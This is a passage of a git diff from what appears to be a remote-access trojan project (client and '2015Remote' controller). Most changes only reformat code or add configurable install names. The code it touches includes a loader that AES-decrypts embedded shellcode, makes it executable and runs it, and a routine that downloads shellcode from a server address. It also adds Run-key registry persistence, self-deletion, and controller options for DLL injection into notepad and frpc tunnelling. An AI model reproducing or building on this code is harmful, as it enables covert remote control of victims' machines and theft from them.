50, NULL)) { BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(), - rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); + rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY); ret = TRUE; } diff --git a/client/ServiceWrapper.h b/client/ServiceWrapper.h index 8be58f0..3efb22e 100644 --- a/client/ServiceWrapper.h +++ b/client/ServiceWrapper.h @@ -9,6 +9,15 @@ typedef struct MyService { char Description[512]; } MyService; +inline MyService NewService(const char* name, const char* display, const char* description) +{ + MyService s; + strcpy(s.Name, name); + strcpy(s.Display, display); + strcpy(s.Description, description); + return s; +} + typedef void (*ServiceLogFunc)(const char* message); #ifdef __cplusplus diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index 8081691..369cec7 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -34,8 +34,8 @@ typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWO typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); #define CreateFileA_Hash 1470354217 -typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, - DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); #define ReadFile_Hash 990362902 typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); @@ -251,10 +251,10 @@ int entry() struct AES_ctx ctx; AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv); AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len); - DWORD oldProtect = 0; - if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5; - ((void(*)())sc.data)(); - Sleep(INFINITE); + DWORD oldProtect = 0; + if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5; + ((void(*)())sc.data)(); + Sleep(INFINITE); return 0; } diff --git a/client/VideoCodec.h b/client/VideoCodec.h index 2b79d7c..fb9762e 100644 --- a/client/VideoCodec.h +++ b/client/VideoCodec.h @@ -3,128 +3,128 @@ #include -class CVideoCodec -{ - COMPVARS m_cv; - HIC m_hIC; - BITMAPINFO* m_lpbmiInput; - BITMAPINFO m_bmiOutput; - -public: - - bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler) + class CVideoCodec { - if (lpbmi == NULL) - return false; + COMPVARS m_cv; + HIC m_hIC; + BITMAPINFO* m_lpbmiInput; + BITMAPINFO m_bmiOutput; - m_lpbmiInput = lpbmi; + public: - ZeroMemory(&m_cv, sizeof(m_cv)); - m_cv.cbSize = sizeof(m_cv); - m_cv.dwFlags = ICMF_COMPVARS_VALID; - m_cv.hic = m_hIC; - m_cv.fccType = ICTYPE_VIDEO; - m_cv.fccHandler = fccHandler; - m_cv.lpbiOut = NULL; - m_cv.lKey = 10; - m_cv.lDataRate = 6; - m_cv.lQ = ICQUALITY_HIGH; + bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler) + { + if (lpbmi == NULL) + return false; - m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS); + m_lpbmiInput = lpbmi; - if (m_hIC == NULL) { - return false; + ZeroMemory(&m_cv, sizeof(m_cv)); + m_cv.cbSize = sizeof(m_cv); + m_cv.dwFlags = ICMF_COMPVARS_VALID; + m_cv.hic = m_hIC; + m_cv.fccType = ICTYPE_VIDEO; + m_cv.fccHandler = fccHandler; + m_cv.lpbiOut = NULL; + m_cv.lKey = 10; + m_cv.lDataRate = 6; + m_cv.lQ = ICQUALITY_HIGH; + + m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS); + + if (m_hIC == NULL) { + return false; + } + + ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); + // 向编码器发送验证 + ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); + + m_cv.hic = m_hIC; + m_cv.dwFlags = ICMF_COMPVARS_VALID; + + if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) { + return false; + } + + ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput); + + return true; } - ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); - // 向编码器发送验证 - ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); + bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag) + { + if(!pin || !pout ||!m_hIC) + return false; + if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK) + return false; - m_cv.hic = m_hIC; - m_cv.dwFlags = ICMF_COMPVARS_VALID; + if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage; - if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) { - return false; + return true; } - ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput); + bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey) + { + BYTE *p; + long s = 1; + BOOL k = true; + if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC) + return false; + p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s); - return true; - } + if (!p) return false; + if (lenr) *lenr = s; + if (pKey) *pKey = k; - bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag) - { - if(!pin || !pout ||!m_hIC) - return false; - if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK) - return false; + CopyMemory(pout, p, s); - if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage; - - return true; - } - - bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey) - { - BYTE *p; - long s = 1; - BOOL k = true; - if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC) - return false; - p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s); - - if (!p) return false; - if (lenr) *lenr = s; - if (pKey) *pKey = k; - - CopyMemory(pout, p, s); - - return true; - } - - CVideoCodec() - { - m_lpbmiInput = NULL; - } - - virtual ~CVideoCodec() - { - // No init yet or init error - if (m_hIC == NULL) - return; - ICDecompressEnd(m_hIC); - ICSeqCompressFrameEnd(&m_cv); - ICCompressorFree(&m_cv); - ICClose(m_hIC); - } - - int MyEnumCodecs(int *fccHandler, char *strName) - { - static int i = 0; - int nRet = 1; - HIC hIC; - ICINFO icInfo; - - if (fccHandler == NULL) - return 0; - - if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) { - i = 0; - return 0; + return true; } - hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY); - if (hIC) { - ICGetInfo(hIC, &icInfo, sizeof(icInfo)); - *fccHandler = icInfo.fccHandler; - //由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的 - if (strName != NULL) - wcstombs(strName, icInfo.szDescription, 256); - } else nRet = -1; + CVideoCodec() + { + m_lpbmiInput = NULL; + } - ICClose(hIC); - i++; - return nRet; - } -}; + virtual ~CVideoCodec() + { + // No init yet or init error + if (m_hIC == NULL) + return; + ICDecompressEnd(m_hIC); + ICSeqCompressFrameEnd(&m_cv); + ICCompressorFree(&m_cv); + ICClose(m_hIC); + } + + int MyEnumCodecs(int *fccHandler, char *strName) + { + static int i = 0; + int nRet = 1; + HIC hIC; + ICINFO icInfo; + + if (fccHandler == NULL) + return 0; + + if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) { + i = 0; + return 0; + } + hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY); + + if (hIC) { + ICGetInfo(hIC, &icInfo, sizeof(icInfo)); + *fccHandler = icInfo.fccHandler; + //由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的 + if (strName != NULL) + wcstombs(strName, icInfo.szDescription, 256); + } else nRet = -1; + + ICClose(hIC); + i++; + return nRet; + } + }; #endif // !defined(AFX_VIDEOCODEC_H_INCLUDED) \ No newline at end of file diff --git a/client/auto_start.h b/client/auto_start.h index d347d2a..226e2b2 100644 --- a/client/auto_start.h +++ b/client/auto_start.h @@ -64,7 +64,7 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo if (n != 0) { _Mprintf("提升权限失败,错误码:%d\n", n); return FALSE; - } + } // 写入的注册表路径 #define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run" @@ -85,7 +85,7 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo _Mprintf("写入注册表失败,错误码:%d\n", lRet); } else { _Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath); - } + } // 关闭注册表 RegCloseKey(hKey); diff --git a/client/main.c b/client/main.c index 315bcdf..f32c8a8 100644 --- a/client/main.c +++ b/client/main.c @@ -257,8 +257,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) char serverIP[INET_ADDRSTRLEN] = { 0 }; if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) { Mprintf("Resolved IP: %s\n", serverIP); - } - else { + } else { Mprintf("Failed to resolve '%s'.\n", addr); WSACleanup(); return NULL; @@ -329,8 +328,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) break; } } - } - else { + } else { closesocket(clientSocket); break; } @@ -446,8 +444,7 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) param.Port = atoi(g_Server.szPort); param.User = g_Server.pwdHash; threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL); - } - else if (fdwReason == DLL_PROCESS_DETACH) { + } else if (fdwReason == DLL_PROCESS_DETACH) { if (threadHandle) TerminateThread(threadHandle, 0x20250619); } return TRUE; diff --git a/client/test.cpp b/client/test.cpp index fdeb96c..12e228e 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -218,10 +218,16 @@ public: int main(int argc, const char *argv[]) { Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); - InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log); + InitWindowsService(NewService( + g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService", + g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service", + g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log); bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc; // 注册启动项 - int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf); + int r = RegisterStartup( + g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo", + g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo", + !isService, g_ConnectAddress.runasAdmin, Logf); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/common/ZstdArchive.h b/common/ZstdArchive.h index 270a7b2..7133fe8 100644 --- a/common/ZstdArchive.h +++ b/common/ZstdArchive.h @@ -2,7 +2,7 @@ * @file ZstdArchive.h * @brief ZSTA 归档格式 - 基于 Zstd 的轻量级压缩模块 * @version 1.0 - * + * * 特性: * - 支持单个或多个文件、文件夹压缩 * - 保留目录结构 @@ -68,7 +68,7 @@ ZSTA 归档格式规范 v1.0 数据块: 按条目顺序连续存放每个文件的压缩数据 - + 注意事项: - 路径使用 '/' 作为分隔符 - 目录条目的路径以 '/' 结尾 @@ -76,7 +76,8 @@ ZSTA 归档格式规范 v1.0 ============================================================================= */ -namespace zsta { +namespace zsta +{ // 版本信息 constexpr uint16_t VERSION_MAJOR = 1; @@ -174,7 +175,8 @@ enum class Error { /** * @brief ZSTA 归档类 */ -class CZstdArchive { +class CZstdArchive +{ public: /** * @brief 压缩多个文件/文件夹 @@ -184,8 +186,9 @@ public: * @return 错误码 */ static Error Compress(const std::vector& srcPaths, - const std::string& outPath, - int level = 3) { + const std::string& outPath, + int level = 3) + { if (srcPaths.empty()) { return Error::EmptyInput; } @@ -224,7 +227,7 @@ public: header.entryCount = static_cast(files.size()); header.compressLevel = level; header.createTime = static_cast(time(nullptr)); - + if (fwrite(&header, sizeof(header), 1, fOut) != 1) { fclose(fOut); return Error::FileWriteFailed; @@ -251,16 +254,16 @@ public: if (f.isDir && !entryPath.empty() && entryPath.back() != '/') { entryPath += '/'; } - + if (entryPath.length() >= sizeof(e.path)) { result = Error::PathTooLong; break; } - + strncpy(e.path, entryPath.c_str(), sizeof(e.path) - 1); e.path[sizeof(e.path) - 1] = '\0'; - e.type = f.isDir ? static_cast(EntryType::Directory) - : static_cast(EntryType::File); + e.type = f.isDir ? static_cast(EntryType::Directory) + : static_cast(EntryType::File); e.modifyTime = f.modTime; if (f.isDir) { @@ -328,19 +331,20 @@ public: } fclose(fOut); - + if (result != Error::Success) { remove(outPath.c_str()); } - + return result; } /** * @brief 压缩单个文件/文件夹 */ - static Error Compress(const std::string& srcPath, const std::string& outPath, int level = 3) { - return Compress(std::vector{srcPath}, outPath, level); + static Error Compress(const std::string& srcPath, const std::string& outPath, int level = 3) + { + return Compress(std::vector {srcPath}, outPath, level); } /** @@ -349,7 +353,8 @@ public: * @param destDir 目标目录 * @return 错误码 */ - static Error Extract(const std::string& archivePath, const std::string& destDir) { + static Error Extract(const std::string& archivePath, const std::string& destDir) + { FILE* fIn = fopen(archivePath.c_str(), "rb"); if (!fIn) { return Error::FileOpenFailed; @@ -359,13 +364,13 @@ public: ZstaHeader header; memset(&header, 0, sizeof(header)); size_t bytesRead = fread(&header, 1, sizeof(header), fIn); - + // 首先检查魔数(即使文件太短也要先检查已读取的部分) if (bytesRead < 4 || memcmp(header.magic, MAGIC, 4) != 0) { fclose(fIn); return Error::InvalidFormat; } - + // 然后检查是否读取了完整的头部 if (bytesRead != sizeof(header)) { fclose(fIn); @@ -445,7 +450,8 @@ public: /** * @brief 获取归档信息 */ - static Error GetInfo(const std::string& archivePath, ArchiveInfo& info) { + static Error GetInfo(const std::string& archivePath, ArchiveInfo& info) + { FILE* fIn = fopen(archivePath.c_str(), "rb"); if (!fIn) { return Error::FileOpenFailed; @@ -481,7 +487,8 @@ public: /** * @brief 列出归档内容 */ - static Error List(const std::string& archivePath, std::vector& entries) { + static Error List(const std::string& archivePath, std::vector& entries) + { FILE* fIn = fopen(archivePath.c_str(), "rb"); if (!fIn) { return Error::FileOpenFailed; @@ -520,19 +527,31 @@ public: /** * @brief 获取错误描述 */ - static const char* GetErrorString(Error err) { + static const char* GetErrorString(Error err) + { switch (err) { - case Error::Success: return "Success"; - case Error::FileOpenFailed: return "Failed to open file"; - case Error::FileReadFailed: return "Failed to read file"; - case Error::FileWriteFailed: return "Failed to write file"; - case Error::InvalidFormat: return "Invalid archive format"; - case Error::UnsupportedVersion: return "Unsupported archive version"; - case Error::DecompressFailed: return "Decompression failed"; - case Error::CompressFailed: return "Compression failed"; - case Error::PathTooLong: return "Path too long"; - case Error::EmptyInput: return "Empty input"; - default: return "Unknown error"; + case Error::Success: + return "Success"; + case Error::FileOpenFailed: + return "Failed to open file"; + case Error::FileReadFailed: + return "Failed to read file"; + case Error::FileWriteFailed: + return "Failed to write file"; + case Error::InvalidFormat: + return "Invalid archive format"; + case Error::UnsupportedVersion: + return "Unsupported archive version"; + case Error::DecompressFailed: + return "Decompression failed"; + case Error::CompressFailed: + return "Compression failed"; + case Error::PathTooLong: + return "Path too long"; + case Error::EmptyInput: + return "Empty input"; + default: + return "Unknown error"; } } @@ -547,7 +566,8 @@ private: #ifdef _WIN32 // MBCS -> UTF-8 (压缩时用,存入归档) - static std::string LocalToUtf8(const std::string& local) { + static std::string LocalToUtf8(const std::string& local) + { if (local.empty()) return ""; int wlen = MultiByteToWideChar(CP_ACP, 0, local.c_str(), -1, NULL, 0); if (wlen <= 0) return local; @@ -561,7 +581,8 @@ private: } // UTF-8 -> MBCS (解压时用,写入文件系统) - static std::string Utf8ToLocal(const std::string& utf8) { + static std::string Utf8ToLocal(const std::string& utf8) + { if (utf8.empty()) return ""; int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), -1, NULL, 0); if (wlen <= 0) return utf8; @@ -575,11 +596,18 @@ private: } #else // Linux/macOS 默认 UTF-8 - static std::string LocalToUtf8(const std::string& s) { return s; } - static std::string Utf8ToLocal(const std::string& s) { return s; } + static std::string LocalToUtf8(const std::string& s) + { + return s; + } + static std::string Utf8ToLocal(const std::string& s) + { + return s; + } #endif - static bool IsDirectory(const std::string& path) { + static bool IsDirectory(const std::string& path) + { #ifdef _WIN32 DWORD attr = GetFileAttributesA(path.c_str()); return (attr != INVALID_FILE_ATTRIBUTES) && (attr & FILE_ATTRIBUTE_DIRECTORY); @@ -590,7 +618,8 @@ private: #endif } - static uint64_t GetFileSize(const std::string& path) { + static uint64_t GetFileSize(const std::string& path) + { #ifdef _WIN32 WIN32_FILE_ATTRIBUTE_DATA fad; if (!GetFileAttributesExA(path.c_str(), GetFileExInfoStandard, &fad)) return 0; @@ -602,7 +631,8 @@ private: #endif } - static uint64_t GetFileModTime(const std::string& path) { + static uint64_t GetFileModTime(const std::string& path) + { #ifdef _WIN32 WIN32_FILE_ATTRIBUTE_DATA fad; if (!GetFileAttributesExA(path.c_str(), GetFileExInfoStandard, &fad)) return 0; @@ -618,14 +648,15 @@ private: #endif } - static std::string GetFileName(const std::string& path) { + static std::string GetFileName(const std::string& path) + { // 先移除末尾的斜杠 std::string p = path; while (!p.empty() && (p.back() == '/' || p.back() == '\\')) { p.pop_back(); } if (p.empty()) return ""; - + size_t pos = p.find_last_of("/\\"); if (pos != std::string::npos) { return p.substr(pos + 1); @@ -633,7 +664,8 @@ private: return p; } - static std::string GetParentPath(const std::string& path) { + static std::string GetParentPath(const std::string& path) + { size_t pos = path.find_last_of("/\\"); if (pos != std::string::npos && pos > 0) { return path.substr(0, pos); @@ -641,7 +673,8 @@ private: return ""; } - static void NormalizePath(std::string& path) { + static void NormalizePath(std::string& path) + { for (char& c : path) { #ifdef _WIN32 if (c == '/') c = '\\'; @@ -656,7 +689,8 @@ private: } static void CollectFiles(const std::string& dir, const std::string& rel, - std::vector& files) { + std::vector& files) + { // 添加目录本身 FileInfo dirInfo; dirInfo.fullPath = dir; @@ -729,12 +763,13 @@ private: #endif } - static void CreateDirectoryRecursive(const std::string& path) { + static void CreateDirectoryRecursive(const std::string& path) + { if (path.empty()) return; - + std::string normalized = path; NormalizePath(normalized); - + size_t pos = 0; while ((pos = normalized.find_first_of("/\\", pos + 1)) != std::string::npos) { std::string sub = normalized.substr(0, pos); diff --git a/common/commands.h b/common/commands.h index abbd838..2d33f99 100644 --- a/common/commands.h +++ b/common/commands.h @@ -198,8 +198,8 @@ enum { COMMAND_SWITCH_SCREEN = 69, CMD_MULTITHREAD_COMPRESS = 70, CMD_FPS = 71, - CMD_COMPRESS_FILES = 72, // 压缩文件 - CMD_UNCOMPRESS_FILES = 73, // 解压文件 + CMD_COMPRESS_FILES = 72, // 压缩文件 + CMD_UNCOMPRESS_FILES = 73, // 解压文件 CMD_SCREEN_SIZE = 74, // 服务端发出的标识 @@ -614,6 +614,11 @@ public: uint64_t parentHwnd; // 父进程窗口句柄 uint64_t superAdmin; // 管理员主控ID char pwdHash[64]; // 密码哈希 + /* Since 2026-01-10 */ + char installDir[32]; // 安装目录 + char installName[32]; // 安装名称 + char installDesc[136];// 安装描述 + char szFututre[500]; // 保留字段 public: void SetType(int typ) @@ -920,17 +925,18 @@ typedef struct DllExecuteInfo { } DllExecuteInfo; typedef struct DllExecuteInfoNew { - int RunType; // 运行类型 - int Size; // DLL 大小 - int CallType; // 调用方式 - char Name[32]; // DLL 名称 - char Md5[33]; // DLL MD5 - int Pid; // 被注入进程ID - char Is32Bit; // 是否32位DLL - char Reseverd[18]; + int RunType; // 运行类型 + int Size; // DLL 大小 + int CallType; // 调用方式 + char Name[32]; // DLL 名称 + char Md5[33]; // DLL MD5 + int Pid; // 被注入进程ID + char Is32Bit; // 是否32位DLL + char Reseverd[18]; char Parameters[400]; } DllExecuteInfoNew; -inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) { +inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) +{ memcpy(p->Parameters, param, min(size, 400)); } @@ -941,7 +947,8 @@ typedef struct FrpcParam { int serverPort; int localPort; int remotePort; - FrpcParam(const char* key, uint64_t time, const char* addr, int serverPort, int localPort, int remotePort) { + FrpcParam(const char* key, uint64_t time, const char* addr, int serverPort, int localPort, int remotePort) + { strcpy_s(privilegeKey, key); strcpy_s(serverAddr, addr); this->timestamp = time; @@ -949,7 +956,7 @@ typedef struct FrpcParam { this->localPort = localPort; this->remotePort = remotePort; } -}FrpcParam; +} FrpcParam; #pragma pack(pop) enum { diff --git a/common/iniFile.h b/common/iniFile.h index b5f0593..f2b5d4e 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -35,8 +35,7 @@ inline std::string GetExeHashStr() CharLowerA(path); ULONGLONG hash = 14695981039346656037ULL; - for (const char* p = path; *p; p++) - { + for (const char* p = path; *p; p++) { hash ^= (unsigned char)*p; hash *= 1099511628211ULL; } @@ -46,7 +45,8 @@ inline std::string GetExeHashStr() return result; } -static inline std::string GetRegistryName() { +static inline std::string GetRegistryName() +{ static auto name = "Software\\" + GetExeHashStr(); return name; } diff --git a/common/locker.h b/common/locker.h index c31e583..0354d33 100644 --- a/common/locker.h +++ b/common/locker.h @@ -138,7 +138,7 @@ public: if (s > span) { char buf[1024]; tag.empty() ? sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s) : - sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms. Tag= %s. \n", file, line, func, s, tag.c_str()); + sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms. Tag= %s. \n", file, line, func, s, tag.c_str()); OutputDebugStringA(buf); } span = 0; diff --git a/common/skCrypter.h b/common/skCrypter.h index 46cf5fa..da7d345 100644 --- a/common/skCrypter.h +++ b/common/skCrypter.h @@ -58,8 +58,7 @@ template using clean_type = typename std::remove_const_t>; template -class skCrypter -{ +class skCrypter { public: __forceinline constexpr skCrypter(T* data) { diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 32cae9d..2cf61e8 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -106,7 +106,8 @@ std::string GetPwdHash(); #include #include "ZstdArchive.h" -bool RegisterZstaMenu(const std::string& exePath) { +bool RegisterZstaMenu(const std::string& exePath) +{ HKEY hKey; const char* compressText = "压缩为 ZSTA 文件"; const char* extractText = "解压 ZSTA 文件"; @@ -159,7 +160,8 @@ bool RegisterZstaMenu(const std::string& exePath) { return true; } -bool UnregisterZstaMenu() { +bool UnregisterZstaMenu() +{ RegDeleteTreeA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta"); RegDeleteTreeA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta"); RegDeleteTreeA(HKEY_CLASSES_ROOT, ".zsta"); @@ -168,7 +170,8 @@ bool UnregisterZstaMenu() { return true; } -std::string RemoveTrailingSlash(const std::string& path) { +std::string RemoveTrailingSlash(const std::string& path) +{ std::string p = path; while (!p.empty() && (p.back() == '/' || p.back() == '\\')) { p.pop_back(); @@ -176,7 +179,8 @@ std::string RemoveTrailingSlash(const std::string& path) { return p; } -std::string RemoveZstaExtension(const std::string& path) { +std::string RemoveZstaExtension(const std::string& path) +{ if (path.size() >= 5) { std::string ext = path.substr(path.size() - 5); for (char& c : ext) c = tolower(c); @@ -323,7 +327,8 @@ BOOL LaunchAsAdmin(const char* szFilePath, const char* verb) return ShellExecuteExA(&shExecInfo); } -BOOL CMy2015RemoteApp::ProcessZstaCmd() { +BOOL CMy2015RemoteApp::ProcessZstaCmd() +{ // 检查是否已注册右键菜单 char exePath[MAX_PATH]; GetModuleFileNameA(NULL, exePath, MAX_PATH); @@ -332,7 +337,7 @@ BOOL CMy2015RemoteApp::ProcessZstaCmd() { HKEY hKey; bool needRegister = false; if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract\\command", - 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { char regPath[MAX_PATH * 2] = { 0 }; DWORD size = sizeof(regPath); RegQueryValueExA(hKey, NULL, NULL, NULL, (BYTE*)regPath, &size); @@ -342,8 +347,7 @@ BOOL CMy2015RemoteApp::ProcessZstaCmd() { if (strstr(regPath, exePath) == NULL) { needRegister = true; // 路径不同,需要重新注册 } - } - else { + } else { needRegister = true; // 未注册 } @@ -380,7 +384,7 @@ BOOL CMy2015RemoteApp::InitInstance() if (!ProcessZstaCmd()) { Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n"); return FALSE; - } + } #if _DEBUG BOOL runNormal = TRUE; @@ -459,15 +463,14 @@ BOOL CMy2015RemoteApp::InitInstance() // 例如修改为公司或组织名 SetRegistryKey(_T("YAMA")); - // 注册一个事件,用于进程间通信 - // 请勿修改此事件名称,否则可能导致无法启动程序、鉴权失败等问题 + // 注册一个事件,用于进程间通信 + // 请勿修改此事件名称,否则可能导致无法启动程序、鉴权失败等问题 char eventName[64] = { 0 }; sprintf(eventName, "YAMA_%d", GetCurrentProcessId()); HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName); if (hEvent == NULL) { Mprintf("[InitInstance] 创建事件失败,错误码: %d\n", GetLastError()); - } - else { + } else { Mprintf("[InitInstance] 创建事件成功,事件名: %s\n", eventName); } @@ -490,7 +493,7 @@ BOOL CMy2015RemoteApp::InitInstance() if (hEvent) { SAFE_CLOSE_HANDLE(hEvent); Mprintf("[InitInstance] 关闭事件句柄。\n"); - } + } // 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序, // 而不是启动应用程序的消息泵。 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 06de01b..c087c93 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 9fc1fcd..36782b4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -330,22 +330,22 @@ DllInfo* ReadTinyRunDll(int pid) DllInfo* ReadFrpcDll() { - std::string name = FRPC_DLL_NAME; - DWORD fileSize = 0; - BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize); - // 设置输出参数 - auto md5 = CalcMD5FromBytes(dllData, fileSize); - DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL }; - memcpy(info.Name, name.c_str(), name.length()); - memcpy(info.Md5, md5.c_str(), md5.length()); - BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize]; - buffer[0] = CMD_EXECUTE_DLL_NEW; - memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew)); - memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize); - Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5); - SAFE_DELETE_ARRAY(dllData); - SAFE_DELETE_ARRAY(buffer); - return new DllInfo{ name, buf }; + std::string name = FRPC_DLL_NAME; + DWORD fileSize = 0; + BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize); + // 设置输出参数 + auto md5 = CalcMD5FromBytes(dllData, fileSize); + DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL }; + memcpy(info.Name, name.c_str(), name.length()); + memcpy(info.Md5, md5.c_str(), md5.length()); + BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize]; + buffer[0] = CMD_EXECUTE_DLL_NEW; + memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew)); + memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize); + Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5); + SAFE_DELETE_ARRAY(dllData); + SAFE_DELETE_ARRAY(buffer); + return new DllInfo{ name, buf }; } std::vector ReadAllDllFilesWindows(const std::string& dirPath) @@ -605,10 +605,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify) ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog) - ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort) - ON_COMMAND(ID_HOOK_WIN, 